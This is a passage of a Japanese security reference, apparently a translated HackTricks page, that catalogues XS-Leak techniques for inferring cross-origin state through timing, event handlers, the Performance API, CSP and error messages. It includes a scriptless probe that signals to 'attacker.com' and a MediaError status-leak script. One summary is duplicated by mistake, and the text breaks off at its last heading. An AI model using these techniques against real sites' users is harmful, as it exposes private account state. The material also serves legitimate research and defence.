XS-Search/XS-Leaks
****を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。 今すぐアクセス：
基本情報XS-Searchは、サイドチャネル脆弱性を利用してクロスオリジン情報を抽出するための手法です。この攻撃に関与する主要なコンポーネントは次のとおりです：脆弱なWeb: 情報を抽出する対象のWebサイト。攻撃者のWeb: 攻撃者が作成した悪意のあるWebサイトで、被害者が訪れ、攻撃をホストする。インクルージョンメソッド: 脆弱なWebを攻撃者のWebに組み込むために使用される技術（例：window.open、iframe、fetch、hrefを持つHTMLタグなど）。リーク技術: インクルージョンメソッドを通じて収集された情報に基づいて脆弱なWebの状態の違いを識別するために使用される技術。状態: 攻撃者が区別しようとする脆弱なWebの2つの潜在的な状態。検出可能な違い: 攻撃者が脆弱なWebの状態を推測するために依存する観察可能な変化。検出可能な違い脆弱なWebの状態を区別するためにいくつかの側面が分析される可能性があります：ステータスコード: クロスオリジンでさまざまなHTTP応答ステータスコードを区別すること、サーバーエラー、クライアントエラー、認証エラーなど。APIの使用: ページ間でWeb APIの使用を特定し、クロスオリジンページが特定のJavaScript Web APIを使用しているかどうかを明らかにする。リダイレクト: HTTPリダイレクトだけでなく、JavaScriptやHTMLによってトリガーされる異なるページへのナビゲーションを検出する。ページコンテンツ: HTTP応答本体やページのサブリソース（埋め込まれたフレームの数や画像のサイズの違いなど）の変化を観察する。HTTPヘッダー: 特定のHTTP応答ヘッダー（X-Frame-Options、Content-Disposition、Cross-Origin-Resource-Policyなど）の存在または値を認識する。タイミング: 2つの状態間で一貫した時間の違いに気付く。インクルージョンメソッドHTML要素: HTMLは、スタイルシート、画像、スクリプトなど、クロスオリジンリソースのインクルージョンにさまざまな要素を提供し、ブラウザに非HTMLリソースのリクエストを要求します。この目的のための潜在的なHTML要素のコンパイルは、https://github.com/cure53/HTTPLeaksで見つけることができます。フレーム: iframe、object、embedなどの要素は、HTMLリソースを攻撃者のページに直接埋め込むことができます。ページがフレーミング保護を欠いている場合、JavaScriptはcontentWindowプロパティを介してフレーム化されたリソースのwindowオブジェクトにアクセスできます。ポップアップ: **window.open**メソッドは、新しいタブやウィンドウでリソースを開き、JavaScriptがSOPに従ってメソッドやプロパティとやり取りできるウィンドウハンドルを提供します。シングルサインオンでよく使用されるポップアップは、対象リソースのフレーミングやクッキー制限を回避します。ただし、現代のブラウザはポップアップの作成を特定のユーザーアクションに制限しています。JavaScriptリクエスト: JavaScriptは、XMLHttpRequestやFetch APIを使用して対象リソースに直接リクエストを行うことができます。これらのメソッドは、HTTPリダイレクトのフォローアップなど、リクエストに対する正確な制御を提供します。リーク技術イベントハンドラ: XS-Leaksの古典的なリーク技術で、onloadやonerrorなどのイベントハンドラが、リソースの読み込みの成功または失敗に関する洞察を提供します。エラーメッセージ: JavaScriptの例外や特別なエラーページは、エラーメッセージ自体から直接リーク情報を提供するか、その存在と不在の違いを区別することによってリーク情報を提供することができます。グローバル制限: ブラウザの物理的な制限（メモリ容量など）や他の強制されたブラウザの制限は、しきい値に達したときに信号を送ることができ、リーク技術として機能します。グローバルステート: ブラウザのグローバルステート（例：Historyインターフェース）との検出可能な相互作用を悪用することができます。たとえば、ブラウザの履歴に含まれるエントリの数は、クロスオリジンページに関する手がかりを提供する可能性があります。Performance API: このAPIは、現在のページのパフォーマンスの詳細を提供し、ドキュメントや読み込まれたリソースのネットワークタイミングを含み、リクエストされたリソースについての推論を可能にします。読み取り可能な属性: 一部のHTML属性はクロスオリジンで読み取り可能であり、リーク技術として使用できます。たとえば、window.frame.lengthプロパティは、クロスオリジンのWebページに含まれるフレームの数をJavaScriptが数えることを可能にします。XSinatorツール＆論文XSinatorは、その論文で説明されているいくつかの既知のXS-Leaksに対してブラウザをチェックする自動ツールです：https://xsinator.com/paper.pdfツールにはhttps://xsinator.com/からアクセスできます除外されたXS-Leaks: 他のXSinatorのリークと干渉する可能性があるため、サービスワーカーに依存するXS-Leaksを除外する必要がありました。さらに、特定のWebアプリケーションのミス構成やバグに依存するXS-Leaksを除外することを選択しました。たとえば、CrossOrigin Resource Sharing（CORS）の誤構成、postMessageの漏洩、Cross-Site Scriptingなど。さらに、時間ベースのXS-Leaksは、遅延が発生しやすく、ノイズが多く、精度が低いという問題があるため、除外しました。Trickestを使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化します。
今すぐアクセス：タイミングベースのテクニック以下のいくつかのテクニックは、ウェブページの可能な状態の違いを検出するプロセスの一部としてタイミングを使用します。ウェブブラウザで時間を測定するさまざまな方法があります。クロック: performance.now() APIを使用すると、高解像度のタイミング測定を取得できます。
攻撃者が暗黙のクロックを作成するために悪用できるAPIはかなり多くあります: Broadcast Channel API, Message Channel API, requestAnimationFrame, setTimeout, CSSアニメーションなど。
詳細はこちら: https://xsleaks.dev/docs/attacks/timing-attacks/clocks.イベントハンドラテクニックOnload/Onerrorインクルージョンメソッド: フレーム、HTML要素検出可能な違い: ステータスコード詳細情報: https://www.usenix.org/conference/usenixsecurity19/presentation/staicu, https://xsleaks.dev/docs/attacks/error-events/概要: リソースをロードしようとする場合、onerror/onload イベントがリソースの読み込みが成功/失敗したときにトリガーされるため、ステータスコードを特定することが可能です。コード例: https://xsinator.com/testing.html#Event%20Handler%20Leak%20(Script)コード例では、JSからスクリプトオブジェクトをロードしようとしますが、オブジェクト、スタイルシート、画像、オーディオなどの他のタグも使用できます。さらに、タグを直接挿入して、タグ内にonloadとonerrorイベントを宣言することも可能です（JSから挿入するのではなく）。この攻撃のスクリプトレスバージョンもあります。<object data="//example.com/404"><object data="//attacker.com/?error"></object></object>Onload TimingInclusion Methods: HTML ElementsDetectable Difference: Timing (generally due to Page Content, Status Code)More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-eventsSummary: performance.now() APIを使用してリクエストの処理にかかる時間を測定できます。ただし、PerformanceLongTaskTiming APIなど他のクロックも使用可能で、50ms以上のタスクを識別できます。Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#onload-events 他の例は以下にあります:Onload Timing + Forced Heavy Taskこの技術は前述のものと同様ですが、攻撃者は肯定的または否定的な回答の際に関連する時間を強制的にかかるようにし、その時間を測定します。unload/beforeunload TimingInclusion Methods: FramesDetectable Difference: Timing (generally due to Page Content, Status Code)More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-eventsSummary: SharedArrayBuffer clockを使用してリクエストの処理にかかる時間を測定できます。他のクロックも使用可能です。Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#unload-eventsリソースを取得するのにかかる時間は、unloadとbeforeunload イベントを利用して測定できます。beforeunload イベントは、ブラウザが新しいページに移動しようとしているときに発生し、unload イベントは実際の移動が行われているときに発生します。これら2つのイベントの時間差を計算することで、ブラウザがリソースを取得するのに費やした時間を求めることができます。Sandboxed Frame Timing + onloadInclusion Methods: FramesDetectable Difference: Timing (generally due to Page Content, Status Code)More info: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacksSummary: performance.now() APIを使用してリクエストの処理にかかる時間を測定できます。他のクロックも使用可能です。Code Example: https://xsleaks.dev/docs/attacks/timing-attacks/network-timing/#sandboxed-frame-timing-attacksFraming Protectionsがない場合、ページとそのサブリソースがネットワークを介して読み込まれるのにかかる時間を攻撃者が測定できることが観察されています。これは通常、iframeのonloadハンドラがリソースの読み込みとJavaScriptの実行が完了した後にのみトリガーされるため可能です。スクリプトの実行によって導入される変動をバイパスするために、攻撃者は<iframe>内でsandbox属性を使用することがあります。この属性の追加により、JavaScriptの実行を含む多くの機能が制限され、主にネットワークのパフォーマンスに影響を受ける測定が容易になります。// Example of an iframe with the sandbox attribute<iframe src="example.html" sandbox></iframe>#ID + エラー + onload組み込み方法: フレーム検出可能な違い: ページコンテンツ詳細:概要: 正しいコンテンツにアクセスしたときにページにエラーを発生させ、任意のコンテンツにアクセスしたときに正しく読み込まれるようにすると、時間を計測せずにすべての情報を抽出するループを作成できます。コード例:正しいコンテンツが含まれているページを iframe に 挿入できるとします。被害者に、CSRF を悪用して "flag" を含むファイルを検索させることができます。 Iframe 内では、onload イベント が 常に少なくとも一度実行されることがわかります。その後、URL の ハッシュ の 内容だけを変更して iframe の URL を変更できます。例:URL1: www.attacker.com/xssearch#try1URL2: www.attacker.com/xssearch#try2最初の URL が 正常に読み込まれた場合、URL の ハッシュ 部分を 変更しても onload イベントは 再度トリガーされません。しかし、ページが読み込まれる際に エラー が発生した場合、onload イベントは 再度トリガーされます。そのため、 正しく読み込まれたページとアクセス時に エラー があるページとを 区別できます。Javascript 実行組み込み方法: フレーム検出可能な違い: ページコンテンツ詳細:概要: ページ が 機密情報 を 返すか、ユーザーが 制御可能なコンテンツ を返す場合。ユーザーは 有効な JS コードを設定し、 <script> タグ内で各試行を ロードできます。そのため、 否定的な場合には攻撃者の コード が 実行され、 肯定的な場合には 何も実行されません。コード例:CORB - Onerror組み込み方法: HTML 要素検出可能な違い: ステータスコードとヘッダー詳細: https://xsleaks.dev/docs/attacks/browser-features/corb/概要: Cross-Origin Read Blocking (CORB) は、Spectre のような攻撃から保護するために、特定の機密のクロスオリジンリソースの読み込みを防ぐセキュリティ対策です。しかし、攻撃者はその保護機能を悪用できます。 CORB に従う応答が、nosniff と 2xx ステータスコードを持つ CORB 保護 Content-Type を返す場合、CORB は応答の本文とヘッダーを削除します。これを観察する攻撃者は、ステータスコード（成功またはエラーを示す）と Content-Type（CORB によって保護されているかどうかを示す）の組み合わせを推測し、潜在的な情報漏洩を引き起こす可能性があります。コード例:攻撃に関する詳細情報については、詳細情報リンクを確認してください。onblur組み込み方法: フレーム検出可能な違い: ページコンテンツ詳細: https://xsleaks.dev/docs/attacks/id-attribute/, https://xsleaks.dev/docs/attacks/experiments/portals/概要: ID または name 属性から機密データを漏洩させます。コード例: https://xsleaks.dev/docs/attacks/id-attribute/#code-snippetiframe 内にページを ロードし、 #id_value を使用して、iframe の要素に フォーカスさせることができます。その後、 onblur シグナルがトリガーされると、ID 要素が存在します。
portal タグでも同じ攻撃を実行できます。postMessage ブロードキャスト組み込み方法: フレーム、ポップアップ検出可能な違い: API の使用詳細: https://xsleaks.dev/docs/attacks/postmessage-broadcasts/概要: postMessage から機密情報を収集するか、postMessage の存在をオラクルとして使用してユーザーのページ内の状態を知ることができます。コード例: すべての postMessage を受信するコード。アプリケーションは頻繁に異なるオリジン間で通信するために postMessage ブロードキャスト を使用します。ただし、targetOrigin パラメータが適切に指定されていない場合、この方法は 機密情報 を誤って公開する可能性があります。さらに、メッセージを受信するだけでも オラクル として機能することがあります。たとえば、特定のメッセージはログインしているユーザーにのみ送信される場合があります。そのため、これらのメッセージの存在または不在により、ユーザーの状態やアイデンティティに関する情報が漏洩する可能性があります。Payment APIInclusion Methods: フレーム、ポップアップDetectable Difference: APIの使用詳細: https://xsinator.com/paper.pdf (5.1)概要: 1つだけアクティブにできるため、支払いリクエストを検出します。コード例: https://xsinator.com/testing.html#Payment%20API%20LeakこのXS-Leakにより、クロスオリジンページが支払いリクエストを開始したときを検出できます。支払いリクエストは同時に1つだけアクティブにできるため、対象のウェブサイトが支払いリクエストAPIを使用している場合、このAPIを使用しようとする追加の試みは失敗し、JavaScript例外が発生します。攻撃者は、定期的に支払いAPI UIを表示しようとすることでこれを悪用できます。1つの試みが例外を引き起こす場合、対象のウェブサイトが現在それを使用しています。攻撃者は、UIを作成した直後にすぐに閉じることで、これらの定期的な試みを隠すことができます。イベントループのタイミングInclusion Methods:Detectable Difference: タイミング（通常、ページコンテンツ、ステータスコードによる）詳細: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#timing-the-event-loop概要: シングルスレッドのJSイベントループを悪用してウェブの実行時間を測定します。コード例:JavaScriptはシングルスレッドのイベントループ並行モデルで動作するため、1度に1つのタスクしか実行できません。この特性を悪用して、異なるオリジンのコードが実行されるのにかかる時間を測定できます。攻撃者は、固定されたプロパティを持つイベントを連続してディスパッチすることで、自分自身のコードの実行時間をイベントループで測定できます。これらのイベントは、イベントプールが空のときに処理されます。他のオリジンも同じプールにイベントをディスパッチしている場合、攻撃者は自分自身のタスクの実行に遅延が生じることで、外部イベントの実行にかかる時間を推測できます。この遅延を監視することで、異なるオリジンのコードの実行時間を明らかにし、機密情報を暴露する可能性があります。実行時間の測定では、ネットワーク要因を排除してより正確な測定を得ることができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで。イベントループのビジーInclusion Methods:Detectable Difference: タイミング（通常、ページコンテンツ、ステータスコードによる）詳細: https://xsleaks.dev/docs/attacks/timing-attacks/execution-timing/#busy-event-loop概要: ウェブ操作の実行時間を測定する1つの方法は、スレッドのイベントループを意図的にブロックし、その後、イベントループが再度利用可能になるまでの時間を計測することです。イベントループにブロッキング操作（長時間の計算や同期API呼び出しなど）を挿入し、その後のコードが実行を開始するまでの時間を監視することで、イベントループで実行されていたタスクの期間を推測できます。この技術は、JavaScriptのイベントループのシングルスレッド性を活用し、タスクが順次実行されるため、同じスレッドを共有する他の操作のパフォーマンスや動作に関する洞察を提供できます。コード例:イベントループをロックして実行時間を測定する技術の重要な利点の1つは、Site Isolationを回避できる可能性です。Site Isolationは、異なるウェブサイトを別々のプロセスに分離し、悪意のあるサイトが他のサイトから直接機密データにアクセスするのを防ぐことを目的とするセキュリティ機能です。ただし、共有イベントループを介して他のオリジンの実行時間に影響を与えることで、攻撃者はそのオリジンの活動に関する情報を間接的に抽出できます。この方法は、他のオリジンのデータに直接アクセスするのではなく、そのオリジンの活動が共有イベントループに与える影響を観察することで、Site Isolationによって確立された保護バリアを回避します。実行時間の測定では、ネットワーク要因を排除してより正確な測定を得ることができます。たとえば、ページを読み込む前にページで使用されるリソースを読み込むことで。コネクションプールInclusion Methods: JavaScriptリクエストDetectable Difference: タイミング（通常、ページコンテンツ、ステータスコードによる）詳細: https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/概要: 攻撃者は、1つを除くすべてのソケットをロックし、対象のウェブを読み込みながら同時に別のページを読み込むことで、最後のページが読み込みを開始するまでの時間が対象ページの読み込みにかかった時間です。コード例:ブラウザはサーバーとの通信にソケットを使用しますが、オペレーティングシステムやハードウェアのリソースが限られているため、ブラウザは同時ソケットの数に制限を課す必要があります。攻撃者は次の手順でこの制限を悪用できます：ブラウザのソケット制限を確認します。たとえば、256個のグローバルソケット。異なるホストに255個のリクエストを開始して、接続を完了せずに接続を維持するように設計された255個のソケットを長期間占有します。256番目のソケットを使用して、対象ページにリクエストを送信します。別のホストに257番目のリクエストを試みます。すべてのソケットが使用中であるため（手順2および3に従って）、このリクエストはソケットが利用可能になるまでキューに入れられます。このリクエストが進行するまでの遅延は、256番目のソケットに関連するネットワークアクティビティに関するタイミング情報を攻撃者に提供します（対象ページのソケット）。手順2で使用された255個のソケットが引き続き使用されているため、新しく利用可能になるソケットは手順3で解放されたものである必要があるため、256番目のソケットが利用可能になるまでの時間は、対象ページへのリクエストの完了にかかる時間と直接関連しています。詳細については、https://xsleaks.dev/docs/attacks/timing-attacks/connection-pool/を参照してください。宛先別コネクションプールInclusion Methods: JavaScriptリクエストDetectable Difference: タイミング（通常、ページコンテンツ、ステータスコードによる）詳細:概要: 前の技術と同様ですが、Google Chromeは同じオリジンへの同時リクエストを6つに制限します。5つをブロックしてから6番目のリクエストを発行すると、時間を計測し、被害ページが同じエンドポイントに対してさらにリクエストを送信してページのステータスを検出することができます。6番目のリクエストは時間がかかり、それを検出できます。パフォーマンスAPIのテクニックPerformance API は、Webアプリケーションのパフォーマンスメトリクスに関する洞察を提供し、Resource Timing API によってさらに充実しています。Resource Timing API は、リクエストの詳細なネットワークタイミング（リクエストの期間など）の監視を可能にします。特に、サーバーが応答に Timing-Allow-Origin: * ヘッダーを含めると、転送サイズやドメイン検索時間などの追加データが利用可能になります。この豊富なデータは、performance.getEntries や performance.getEntriesByName などのメソッドを介して取得でき、パフォーマンスに関連する情報の包括的なビューを提供します。さらに、API は performance.now() から取得したタイムスタンプの差を計算することで、実行時間の測定を容易にします。ただし、Chrome のようなブラウザでの一部の操作では、performance.now() の精度がミリ秒に制限される場合があり、タイミング測定の粒度に影響を与える可能性があります。タイミング測定を超えて、Performance API はセキュリティに関連する洞察を得るために活用することができます。たとえば、Chrome の performance オブジェクトにページが存在するかどうかは、X-Frame-Options の適用を示すことができます。具体的には、X-Frame-Options によってフレーム内でのレンダリングがブロックされる場合、そのページは performance オブジェクトに記録されず、ページのフレーミングポリシーについて微妙な手がかりを提供します。エラーリーク組み込み方法: フレーム、HTML要素検出可能な違い: ステータスコード詳細情報: https://xsinator.com/paper.pdf (5.2)概要: エラーが発生するリクエストはリソースタイミングエントリを作成しません。コード例: https://xsinator.com/testing.html#Performance%20API%20Error%20Leakエラーが発生するリクエストはパフォーマンスエントリを作成しませんので、HTTPレスポンスステータスコードを区別することが可能です。スタイルリロードエラー組み込み方法: HTML要素検出可能な違い: ステータスコード詳細情報: https://xsinator.com/paper.pdf (5.2)概要: ブラウザのバグにより、エラーが発生するリクエストが2回読み込まれます。コード例: https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak前述のテクニックでも、GCのブラウザバグにより、読み込みに失敗したリソースが2回読み込まれるケースが特定されました。これにより、パフォーマンスAPIに複数のエントリが生成され、それによって検出が可能です。リクエストマージエラー組み込み方法: HTML要素検出可能な違い: ステータスコード詳細情報: https://xsinator.com/paper.pdf (5.2)概要: エラーが発生するリクエストはマージできません。コード例: https://xsinator.com/testing.html#Request%20Merging%20Error%20Leakこのテクニックは、言及された論文の表に見つかりましたが、そのテクニックの説明は見つかりませんでした。ただし、このテクニックをチェックするソースコードは https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak で見つけることができます。空のページリーク組み込み方法: フレーム検出可能な違い: ページコンテンツ詳細情報: https://xsinator.com/paper.pdf (5.2)概要: 空の応答はリソースタイミングエントリを作成しません。コード例: https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak攻撃者は、一部のブラウザでは空のページはパフォーマンスエントリを作成しないため、空のHTTP応答本文が結果であるかどうかを検出できます。XSSオーディターリーク組み込み方法: フレーム検出可能な違い: ページコンテンツ詳細情報: https://xsinator.com/paper.pdf (5.2)概要: セキュリティアサーションのXSSオーディターを使用することで、攻撃者は、クラフトされたペイロードがオーディターのフィルタリングメカニズムをトリガーしたときに応答の変更を観察することで、特定のWebページ要素を検出できます。コード例: https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leakセキュリティアサーション（SA）では、元々クロスサイトスクリプティング（XSS）攻撃を防ぐために意図されていたXSSオーディターは、皮肉にも機密情報を漏洩させるために悪用される可能性があります。この組み込み機能はGoogle Chrome（GC）から削除されましたが、SAにはまだ存在しています。2013年、BraunとHeiderichは、XSSオーディターが誤って正当なスクリプトをブロックし、誤検知を引き起こす可能性があることを示しました。これを基に、研究者たちは、XS-Leaksとして知られる概念で、クロスオリジンページ上の情報を抽出し、特定のコンテンツを検出するための技術を開発しました。これらの技術は、GCのXSSオーディターに特有でしたが、SAでは、XSSオーディターによってブロックされたページはパフォーマンスAPIにエントリを生成しないことが判明し、機密情報が漏洩する可能性がある方法が明らかになりました。X-Frameリーク組み込み方法: フレーム検出可能な違い: ヘッダー詳細情報: https://xsinator.com/paper.pdf (5.2), https://xsleaks.github.io/xsleaks/examples/x-frame/index.html, https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-x-frame-options概要: X-Frame-Optionsヘッダーを持つリソースはリソースタイミングエントリを作成しません。コード例: https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leakページがiframeでレンダリングを許可されていない場合、パフォーマンスエントリを作成しません。その結果、攻撃者は応答ヘッダー**X-Frame-Options**を検出できます。
同様に、embed タグを使用した場合も同様です。ダウンロード検出組み込み方法: フレーム検出可能な違い: ヘッダー詳細情報: https://xsinator.com/paper.pdf (5.2)概要: ダウンロードはパフォーマンスAPIにリソースタイミングエントリを作成しません。コード例: https://xsinator.com/testing.html#Performance%20API%20Download%20DetectionXS-Leakに記載されているように、ContentDispositionヘッダーによってダウンロードされるリソースもパフォーマンスエントリを作成しません。このテクニックは、すべての主要なブラウザで機能します。リダイレクト開始リーク組み込み方法: フレーム検出可能な違い: リダイレクト詳細情報: https://xsinator.com/paper.pdf (5.2)概要: リソースタイミングエントリがリダイレクトの開始時刻をリークします。コード例: https://xsinator.com/testing.html#Redirect%20Start%20Leak一部のブラウザの挙動を悪用するXS-Leakインスタンスを見つけました。標準では、クロスオリジンのリソースに対して特定の属性がゼロに設定されるべきであると定義されています。しかし、SAでは、Performance APIをクエリし、redirectStartタイミングデータをチェックすることで、ユーザーがリダイレクトされたかどうかを検出することが可能です。リダイレクトの期間リーク組み込み方法: Fetch API検出可能な違い: リダイレクト詳細情報: https://xsinator.com/paper.pdf (5.2)概要: タイミングエントリの期間は、リダイレクトが発生した場合に負になります。コード例: https://xsinator.com/testing.html#Duration%20Redirect%20LeakGCでは、リダイレクトを引き起こすリクエストの期間は負であり、そのためリダイレクトを引き起こさないリクエストと区別することができます。CORPリーク組み込み方法: フレーム検出可能な違い: ヘッダー詳細情報: https://xsinator.com/paper.pdf (5.2)概要: CORPで保護されたリソースはリソースタイミングエントリを作成しません。コード例: https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak一部のケースでは、nextHopProtocolエントリをリーク手法として使用できます。GCでは、CORPヘッダーが設定されている場合、nextHopProtocolは空になります。SAでは、CORP対応リソースに対してパフォーマンスエントリを一切作成しません。サービスワーカー組み込み方法: フレーム検出可能な違い: APIの使用詳細情報: https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/概要: 特定のオリジンに登録されたサービスワーカーを検出します。コード例:サービスワーカーは、オリジンで実行されるイベント駆動型のスクリプトコンテキストです。Webページのバックグラウンドで実行され、リソースをインターセプト、変更、およびキャッシュしてオフラインWebアプリケーションを作成できます。
サービスワーカーによってキャッシュされたリソースがiframe経由でアクセスされると、リソースはサービスワーカーキャッシュから読み込まれます。
リソースがサービスワーカーキャッシュから読み込まれたかどうかを検出するには、Performance APIを使用できます。
これはタイミング攻撃でも行うことができます（詳細は論文を参照）。キャッシュ組み込み方法: Fetch API検出可能な違い: タイミング詳細情報: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources概要: リソースがキャッシュされているかどうかを確認できます。コード例: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources, https://xsinator.com/testing.html#Cache%20Leak%20(POST)Performance APIを使用して、リソースがキャッシュされているかどうかを確認できます。ネットワーク期間組み込み方法: Fetch API検出可能な違い: ページコンテンツ詳細情報: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration概要: performance APIからリクエストのネットワーク期間を取得できます。コード例: https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-durationエラーメッセージ技術メディアエラー組み込み方法: HTML要素（ビデオ、オーディオ）検出可能な違い: ステータスコード詳細情報: https://bugs.chromium.org/p/chromium/issues/detail?id=828265概要: Firefoxでは、クロスオリジンリクエストのステータスコードを正確にリークすることが可能です。コード例: https://jsbin.com/nejatopusi/1/edit?html,css,js,output// Code saved here in case it dissapear from the link// Based on MDN MediaError example: https://mdn.github.io/dom-examples/media/mediaerror/window.addEventListener("load", startup, false);function displayErrorMessage(msg) {document.getElementById("log").innerHTML += msg;}function startup() {let audioElement = document.getElementById("audio");// "https://mdn.github.io/dom-examples/media/mediaerror/assets/good.mp3";document.getElementById("startTest").addEventListener("click", function() {audioElement.src = document.getElementById("testUrl").value;}, false);// Create the event handlervar errHandler = function() {let err = this.error;let message = err.message;let status = "";// Chrome error.message when the request loads successfully: "DEMUXER_ERROR_COULD_NOT_OPEN: FFmpegDemuxer: open context failed"// Firefox error.message when the request loads successfully: "Failed to init decoder"if((message.indexOf("DEMUXER_ERROR_COULD_NOT_OPEN") != -1) || (message.indexOf("Failed to init decoder") != -1)){status = "Success";}else{status = "Error";}displayErrorMessage("<strong>Status: " + status + "</strong> (Error code:" + err.code + " / Error Message: " + err.message + ")<br>");};audioElement.onerror = errHandler;}CORSエラー含有方法: Fetch API検出可能な違い: ヘッダー詳細情報: https://xsinator.com/paper.pdf (5.3)概要: セキュリティアサーション（SA）において、CORSエラーメッセージが誤ってリダイレクトされたリクエストの完全なURLを公開してしまう。コード例: https://xsinator.com/testing.html#CORS%20Error%20Leakこの技術は、WebkitベースのブラウザがCORSリクエストを処理する方法を悪用することで、攻撃者がクロスオリジンサイトのリダイレクト先を抽出することを可能にします。特に、CORS対応リクエストがユーザーステートに基づいてリダイレクトを発行するターゲットサイトに送信され、ブラウザがそのリクエストを拒否した場合、エラーメッセージ内にリダイレクト先の完全なURLが開示されます。この脆弱性により、リダイレクトの事実だけでなく、リダイレクトのエンドポイントと含まれる可能性のある機密クエリパラメータも公開されます。SRIエラー含有方法: Fetch API検出可能な違い: ヘッダー詳細情報: https://xsinator.com/paper.pdf (5.3)概要: セキュリティアサーション（SA）において、CORSエラーメッセージが誤ってリダイレクトされたリクエストの完全なURLを公開してしまう。コード例: https://xsinator.com/testing.html#SRI%20Error%20Leak攻撃者は冗長なエラーメッセージを悪用して、クロスオリジンレスポンスのサイズを推測することができます。これは、サブリソース整合性（SRI）のメカニズムによるもので、CDNから頻繁に取得されるリソースが改ざんされていないことを検証するために整合性属性を使用します。SRIがクロスオリジンリソースで機能するためには、これらがCORS対応である必要があります。セキュリティアサーション（SA）では、CORSエラーXS-Leakと同様に、整合性属性が失敗した後にエラーメッセージをキャプチャすることができます。攻撃者は、任意のリクエストの整合性属性に不正なハッシュ値を割り当てることで、故意にこのエラーをトリガーすることができます。SAでは、結果として得られるエラーメッセージが、リクエストされたリソースのコンテンツ長を誤って明らかにします。この情報漏洩により、攻撃者は応答サイズの変化を識別し、洗練されたXS-Leak攻撃の道を開くことができます。CSP違反/検出含有方法: ポップアップ検出可能な違い: ステータスコード詳細情報: https://bugs.chromium.org/p/chromium/issues/detail?id=313737, https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html, https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects概要: 犠牲者のウェブサイトのCSPで許可されているのは、異なるドメインにリダイレクトしようとする場合、CSPは検出可能なエラーをトリガーします。コード例: https://xsinator.com/testing.html#CSP%20Violation%20Leak, https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violationXS-LeakはCSPを使用して、クロスオリジンサイトが異なるオリジンにリダイレクトされたかどうかを検出できます。このリークはリダイレクトを検出できますが、さらに、リダイレクト先のドメインが漏洩します。この攻撃の基本的なアイデアは、攻撃者サイトでターゲットドメインを許可することです。ターゲットドメインにリクエストが送信されると、それがクロスオリジンドメインにリダイレクトします。CSPはそれへのアクセスをブロックし、リークテクニックとして使用される違反レポートを作成します。ブラウザによっては、このレポートがリダイレクトのターゲット位置を漏洩する可能性があります。
現代のブラウザは、リダイレクト先のURLを示さないかもしれませんが、クロスオリジンのリダイレクトがトリガーされたことは依然として検出できます。キャッシュ含有方法: フレーム、ポップアップ検出可能な違い: ページコンテンツ詳細情報: https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events, https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html概要: キャッシュからファイルを削除します。ターゲットページを開き、ファイルがキャッシュに存在するか確認します。コード例:ブラウザはすべてのウェブサイトに1つの共有キャッシュを使用する可能性があります。その起源に関係なく、ターゲットページが特定のファイルを要求したかどうかを推測することができます。ページが画像を読み込むのはユーザーがログインしている場合のみである場合、リソースを無効にして（キャッシュされている場合はキャッシュされないようにして、詳細情報リンクを参照）、そのリソースを読み込む可能性のあるリクエストを実行し、リソースを不正なリクエストで読み込もうとします（たとえば、過剰なリファラーヘッダーを使用）。リソースの読み込みがエラーをトリガーしなかった場合、それはキャッシュされていたためです。CSPディレクティブ含有方法: フレーム検出可能な違い: ヘッダー詳細情報: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875概要: CSPヘッダーディレクティブは、CSP iframe属性を使用してプローブでき、ポリシーの詳細が明らかになります。コード例: https://xsinator.com/testing.html#CSP%20Directive%20LeakGoogle Chrome（GC）の新機能では、iframe要素に属性を設定することで、WebページがContent Security Policy（CSP）を提案できます。通常、埋め込まれたコンテンツは、HTTPリクエストと一緒にポリシーディレクティブが送信される必要があります。埋め込まれたコンテンツは、HTTPヘッダーを介してこれを承認する必要があり、そうでない場合はエラーページが表示されます。ただし、iframeがすでにCSPによって管理されており、新しく提案されたポリシーがより制限的でない場合、ページは通常通り読み込まれます。このメカニズムにより、攻撃者はエラーページを特定することで、クロスオリジンページの特定のCSPディレクティブを検出できます。この脆弱性は修正済みとされていましたが、私たちの調査結果は、エラーページを検出できる新しいリーク技術を明らかにし、根本的な問題が完全に解決されていなかった可能性を示唆しています。CORP含有方法: Fetch API検出可能な違い: ヘッダー詳細情報: https://xsleaks.dev/docs/attacks/browser-features/corp/概要: Cross-Origin Resource Policy（CORP）で保護されたリソースは、許可されていない起源から取得された場合にエラーをスローします。CORBInclusion Methods: HTML ElementsDetectable Difference: HeadersMore info: https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-headerSummary: CORBは攻撃者がリクエストで**nosniffヘッダーが存在するかどうかを検出**することを可能にします。Code Example: https://xsinator.com/testing.html#CORB%20Leak攻撃に関する詳細はリンクをチェックしてください。CORS error on Origin Reflection misconfigurationInclusion Methods: Fetch APIDetectable Difference: HeadersMore info: https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfigurationSummary: 